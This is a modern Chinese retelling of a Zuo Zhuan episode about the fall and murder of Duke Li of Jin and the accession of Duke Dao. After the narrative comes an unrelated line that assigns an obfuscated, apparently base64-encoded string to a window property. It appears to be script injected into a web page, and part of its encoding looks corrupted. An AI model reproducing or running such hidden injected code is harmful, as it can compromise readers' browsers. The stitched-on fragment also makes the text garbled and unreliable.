郤至說,無罪被殺,不如逃走。
郤至趁亂逃出,長(zhǎng)魚矯追上郤至的車子,用戈刺死了他,將他和郤锜、郤犫都陳尸在朝上。
胥童帶領(lǐng)甲士在朝上劫持了欒書、中行偃。長(zhǎng)魚矯說,不殺這兩個(gè)人,憂患一定會(huì)到國(guó)君的身上。
晉厲公表示,一天之中把三個(gè)卿的尸體擺在朝上,我不忍心增加了。
長(zhǎng)魚矯卻說,別人對(duì)國(guó)君會(huì)忍心的。下臣聽聞禍亂在外叫做奸,禍亂在內(nèi)叫做軌。用德行來對(duì)待奸,用刑罰來對(duì)待軌。不施以教化就加以殺戮,不能叫做德行;臣下逼迫國(guó)君卻不加以討伐,不能叫做刑罰。德行和刑罰不加樹立,奸、軌就一起來了,下臣請(qǐng)求離去。
于是,長(zhǎng)魚軌逃往狄人那里。
晉厲公派人向欒書、中行偃辭謝,我討伐郤氏,郤氏已經(jīng)伏罪,大夫不要把劫持的事情當(dāng)做恥辱,各復(fù)其位吧。
兩人都再拜叩首,說,國(guó)君討伐有罪的人,卻赦免下臣一死,這是國(guó)君的恩惠。我們兩人即使死了,哪里敢忘記國(guó)君的恩德。
欒書、中行偃便都回去了,晉厲公派胥童擔(dān)任卿。
等到晉厲公在匠麗氏那里游玩,欒書、中行偃就派人抓捕了厲公。
兩人召見范匄,范匄辭謝。召見韓厥,韓厥也辭謝,表示,從前我在趙氏家里養(yǎng)大,孟姬誣陷趙氏,我能頂住沒有出兵。古人有話,‘殺老牛莫之敢尸(殺老牛沒有人敢做主)’更何況是國(guó)君呢?您們不能侍奉國(guó)君,又哪里用得到厥呢?
閏月乙卯晦,欒書、中行偃殺了胥童。
因?yàn)槊癖姴挥H附郤氏,胥同引導(dǎo)國(guó)君作亂,所以《春秋》記載‘晉殺其大夫’。
次年正月庚申,欒書、中行偃派程滑弒晉厲公,葬在翼地的東門外邊,僅僅只用一乘車。
晉厲公死后,晉國(guó)人擁立孫周(晉襄公之曾孫,晉厲公之侄)為晉國(guó)國(guó)君,是為晉悼公。
window。fkp
=
"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=";